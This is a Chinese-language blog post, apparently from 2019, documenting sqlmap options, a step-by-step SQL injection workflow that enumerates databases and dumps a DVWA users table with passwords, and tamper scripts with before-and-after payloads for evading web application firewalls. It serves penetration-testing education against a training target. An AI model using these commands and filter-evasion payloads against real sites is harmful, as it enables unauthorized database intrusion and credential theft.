SQLMAP命令详解

Options

--version:显示当前sqlmap的版本号

-h:显示帮助信息

-hh:显示详细的帮助信息

-v VERBOSE:详细级别,VERBOSE为数字,默认为1

Target

-d DIRECT:直接连接到数据库

-u URL --url=URL:目标地址(URL)

-l LOGFILE:从Burp或WebScarab代理的日志中解析目标

-x SITEMAPURL:从一个XML文件中解析目标

-m BULKFILE:扫描文本文件中的多个目标

-r REQUESTFILE:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)

-g GOOGLEDORK:处理Google Dork的结果作为目标URL

-c CONFIGFILE:从ini文件中加载选项

Request

--method=MEHOTD:强制指定HTTP方法(如PUT)

--data=DATA:指定POST请求的参数

--param-del=PARAMDEL:指定参数的分隔符(如:&)

--cookie=COOKIE:指定HTTP请求的Cookie

--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)

--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件

--drop-set-cookie:忽略返回包中的Set-Cookie字段

--user-agent:指定HTTP头部的user-agent值

--random-agent:设置随机的HTTP User-Agent

--host=HOST:指定HTTP头部的host值

--referer=REFERER:指定HTTP头部中的referer值

-H=HEADER:指定HTTP其他头部信息

--headers=HEADERS:指定HTTP其他头部信息

--auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)

--auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)

--auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥文件

--ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)

--ignore-proxy:忽略系统默认代理

--ignore-redirects:忽略重定向尝试

--ignore-timeouts:忽略连接超时

--proxy=PROXY:指定代理地址

--proxy-cred=PROXYCRED:指定代理认证凭据(name:password)

--proxy-file=PROXYFILE:从指定文件中加载代理数据

--tor:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)

--tor-port=TORPORT:设置TOR代理的端口(修改默认端口)

--tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)

--check-tor:检查tor能否正常使用

--delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)

--timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)

--retries=RETRIES:设置连接超时重新尝试的次数(默认为3)

--randomize=RPARAM:随机更改给定参数的值

--safe-url=SAFEURL:指定在测试期间频繁访问的URL

--safe-post=SAFEPOST:POST数据发送到安全URL

--safe-req=SAFEREQ:从文件中加载HTTP请求

--safe-freq=SAFEFREQ:在两次访问安全网址之间的测试请求

--skip-urlencode:跳过经过URL编码的payload数据

--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值

--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值

--force-ssl:强制使用SSL协议

--hpp:使用HTTP参数pollution的方法

--eval:评估请求之前提供Python代码

Optimization

-o:开启所有优化开关

--predict-output:预测常见的查询输出

--keep-alive:使用持久的HTTP(S)连接

--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数

Injection

-p TESTPARAMETER:指定需要测试的参数

--skip=SKIP:跳过指定参数的测试

--skip-static:跳过非动态参数的测试

--param-exclude=PARAMEXCLUDE:使用正则排除要测试的参数

--dbms=DBMS:强制指定数据库管理系统的类型

--dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password)

--os=OS:指定后端DBMS的操作系统

--invalid-logical:使用大数字使值无效

--invalid-string:使用随机字符串使值无效

no-cast:关闭有效载荷

--no-escape:关闭字符串转义机制

--prefix=PREFIX:注入payload字符串前缀

--suffix=SUFFIX:注入payload字符串后缀

--tamper=TAMPER:使用给定脚本篡改注入数据

Detection

--level=LEVEL:指定执行检测的等级(1-5,默认为1)

--risk=RISK:指定执行检测的风险(1-5,默认为1)

--string=STRING:查询有效时在页面匹配字符串

--not-string=NOTSTRING:查询无效时在页面匹配字符串

--regexp=REGEXP:查询有效时在页面匹配正则表达式

--code=CODE:查询有效时匹配的HTTP返回码

--text-only:基于文本内容比较网页

--titles:基于标题比较网页

Techniques

--technique=TECH:指定SQL注入的技术(默认为BEUST)

--time-sec=TIMESEC:DBMS响应的延迟时间

--union-cols=UCOLS:指定UNION查询注入使用的列

--union-char=UCHAR:指定暴力猜解列数的字符

--union-from=UFROM:指定UNION查询注入的FROM部分使用的表

--dns-domain=DNSDOMAIN:域名用于DNS漏出攻击

Enumeration

-a--all:检索一切

-b,--banner:检索数据库管理系统的标识

--current-user:检索数据库管理系统的当前用户名

--current-db:检索DBMS的当前数据库名称

--hostname:检索数据库服务器的主机名

--is-dba:检测DBMS当前用户是否为DBA

--users:枚举DBMS的用户名

--passwords:枚举DBMS用户密码哈希

--privileges:枚举DBMS用户的权限

--roles:枚举DBMS用户的角色

--dbs:枚举DBMS所有的数据库名称

--tables:枚举DBMS数据库中所有的表

--columns:枚举DBMS数据库表中所有的列名

--schema:枚举数据库架构

--count:检索表的记录数

--dump:转储DBMS的数据库中的表项

--dump-all:转储DBMS的数据库中的所有表项

--search:搜索列、表、数据库名称

--commnets:检索数据库的comments

-D DB:指定要枚举的数据库名称

-T TBL:指定要枚举的数据表名称

-C COL:指定要枚举的数据库列名

-X EXCLUDECOL:指定不要枚举的数据库列名

-U USER:指定要进行枚举的数据库用户名

--exclude-sysdbs:枚举表时排除系统数据库

--where=DUMPWHERE:使用WHERE条件表转储

--start=LIMITSTART:第一个查询输出进入检索

--stop=LIMITSTOP:最后查询的输出进入检索

--first=FIRSTCHAR:第一个查询输出字的字符检索

--last=LASTCHAR:最后查询的输出字字符检索

--sql-query=QUERY:要执行的SQL语句

--sql-file=SQLFILE:从给定文件中执行SQL语句

  1. HTTP Get请求

    ## 指定参数和Cookie
    sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id
    
    ## 忽略参数,指定分隔符
    sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username
    
  2. HTTP Post请求

    ## 直接从文件导入
    sqlmap -r 1.txt -p id
    
    ## 自定义
    sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id
    

一般的注入步骤

  1. 检查是否存在注入

    sqlmap -r 1.txt -p id

  2. 简单的信息获取

    ## 获取数据库版本信息
    sqlmap -r 1.txt -p id --banner
    ## 获取当前数据库名称
    sqlmap -r 1.txt -p id --current-db
    ## 获取数据库中所有数据库名称
    sqlmap -r 1.txt -p id --dbs
    ## 获取数据库当前用户名
    sqlmap -r 1.txt -p id --current-user
    ## 获取数据库所有用户名
    sqlmap -r 1.txt -p id --users
    ## 检查数据库当前用户是否为DBA
    sqlmap -r 1.txt -p id --is-dba
    
  3. 获取数据库中的数据

    ## 获取数据表名称
    sqlmap -r 1.txt -p id -D dvwa --tables
    ## 获取数据表中的列名称
    sqlmap -r 1.txt -p id -D dvwa -T users --columns
    ## 获取单个表中自定义列中的数据
    sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump
    ## 获取单个表数据
    sqlmap -r 1.txt -p id -D dvwa -T users --dump
    ## 获取单个数据库中所有表中的数据
    sqlmap -r 1.txt -p id -D dvwa --dump
    

tamper介绍

数据库 脚本名 描述 举例
通用 apostrophemask.py utf8替代引号
base64encode.py 用base64编码转换
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
nonrecursivereplacement.py 双重查询语句
space2randomblank.py 用一个随机的空白字符替换空格字符
unionalltounion.py 用UNION SELECT替换UNION ALL SELECT
securesphere.py 追加自定义字符串
mssql space2hash.py 空格替换为#号、随机字符串、换行符
equaltolike.py LIKE替换等于号(=)
space2mssqlblank.py 用其他空符号替换空格字符
space2mssqlhash.py 用%23%0A替换空格字符
between.py 用between替换大于号
percentage.py 在每个字符前添加%
sp_password.py 在有效载荷后添加sp_password
charencode.py url编码
randomcase.py 随机大小写
charunicodeencode.py unicode编码字符串
space2comment.py 用注释替换空格
mysql equaltolike.py like代替等号(=)
greatest.py 绕过对大于号的过滤,用GREATEST替换大于号
apostrophenullencode.py 绕过对双引号的过滤,替换字符和双引号
ifnull2ifisnull.py 绕过对IFNULL的过滤,用IF(ISNULL(A),B,A)代替IFNULL
space2mssqlhash.py 用%23%0A替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 用其他空白字符替换空格
between.py 用between替换大于号
modsecurityzeroversioned.py 包含了完整的查询与零版本注释
space2mysqldash.py 用--%0A替换空格字符
bluecoat.py 用随机空白字符替换空格,用LIKE替换等于号(=)
percentage.py 在每个字符前加百分号
charencode.py url编码
randomcase.py 随机大小写
versionedkeywords.py 用版本化的MySQL注释包含每个非函数关键字
space2comment.py 用注释替换空格
charunicodeencode.py 用unicode编码字符串
versionedmorekeywords.py 用更多的版本化的MySQL注释包含每个非函数关键字
halfversionedmorekeywords.py 关键字前加注释
space2morehash.py 空格替换为#号和其他随机字符串
oracle greatest.py 用GREATEST替换大于号
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号
between.py 用between替换大于号
charencode.py url编码
randomcase.py 随机大小写
charunicodeencode.py unicode编码
space2comment.py 用注释替换空格
Access appendnullbyte.py 在有效载荷结束位置加零字节字符编码

脚本及功能介绍

space2plus

用+替换空格

// old
select id from users
// new
select+id+from+users

space2hash

空格替换为#号(%23) 随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2morehash

空格替换为#号(%23) 更多随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2mysqldash

替换空格为--%0A

// old
1 and 2=2
// new
1--%0Aand--%0A2=2

space2randomblank

将空格替换为随机空白字符的字符集

// old
select id from users
// new
select%0Did%0Dfrom%0Ausers

space2mssqlblank

空格替换为其他空白字符

// old
select id from users
// new
select%08id%02from%0Fusers

space2mssqlhash

空格替换为%23%0A

// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2

space2comment

空格替换为注释

// old
select id from users
//new
select//id//from/**/users

between

将大于号(>)替换为between

// old
1 and A>B
// new
1 and A not between 0 and B

greatest

将大于号(>)替换为greatest

// old
1 and A>B
// new
1 and greatest(A,B+1)=A

equaltolike

将等于号(=)替换为like

// old
select * from users where id=1
// new
select * from users where id like 1

bluecoat

将空格替换为一个随机的空白字符,同时将等于号(=)替换为like

// old
select id from users where id=1
// new
select%09id from users where id like 1

modsecurityversioned

将空格替换为包含完整版本注释的字符串(当MySQL的版本大于等于指定的版本号时才会执行注释中的语法)

// old
1 and 2>1-- 
// new
1/*!30874AND 2>1*/--

modsecurityzeroversioned

将空格替换为包含完整版本注释与零版本注释的字符串

// old
1 and 2>1
// new
1/*!00000and 2>1*/--

versionedkeywords

为每个非函数关键字添加版本注释

// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

versionedmorekeywords

为每个关键字添加版本注释

// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

halfversionedmorekeywords

为每个关键字前添加注释 /*!0

// old
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa
// new
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa

multiplespaces

围绕SQL关键字添加空格

// old
1 union select foobar
// new
1 union  select  foobar

nonrecursivereplacement

双重查询语句

// old
1 union select 2--
// new
1 ununionion selselectect 2--

unionalltounion

将union all select替换为union select

// old
1 union all select
// new
1 union select

securesphere

追加特制字符串

// old
1 and 1=1
// new
1 and 1=1 and 'ok'='ok'

percentage

每个字符前添加百分号(%)

// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s

appendnullbyte

在有效载荷末尾位置加载字节字符编码

// old
1 and 1=1
// new
1 and 1=1%00

randomcase

随机大小写

// old
insert
// new
InsErT

charencode

对所有字符串进行url编码

// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode

对所有字符串进行双重url编码

// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charunicodeencode

对所有字符串进行unicode编码

// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

base64encode

对所有字符串进行base64编码

// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==

总结

空格处理

  • space2plus.py
  • space2hash.py
  • space2morehash.py
  • space2mysqldash.py
  • space2randomblank.py
  • space2mssqlblank.py
  • space2mssqlhash.py
  • space2comment.py
  • modsecurityversioned.py
  • modsecurityzeroversioned.py

大于号处理

  • between.py
  • greatest.py

等于号处理

  • equaltolike.py
  • bluecoat.py

引号处理

  • apostrophemask.py:utf8替换引号
  • apostrophenullencode.py :替换字符和双引号

关键字处理

  • versionedkeywords.py

  • versionedmorekeywords.py

  • halfversionedmorekeywords.py

  • multiplespaces.py:多个关键字前加空格

  • nonrecursivereplacement.py:双重关键字

  • unionalltounion.py:union select替换union all select

  • securesphere.py:追加特制字符串

  • percentage.py:每个字符前加%

  • appendnullbyte.py:末尾添加零字节编码

语句处理

  • randomcase.py:大小写混淆
  • charencode.py:url编码
  • chardoublecode.py:双重url编码
  • charunicodeencode.py:unicode编码
  • base64encode.py:base64编码
posted @ 2019-04-25 11:27  JerryLocker  阅读(5992)  评论(0编辑  收藏  举报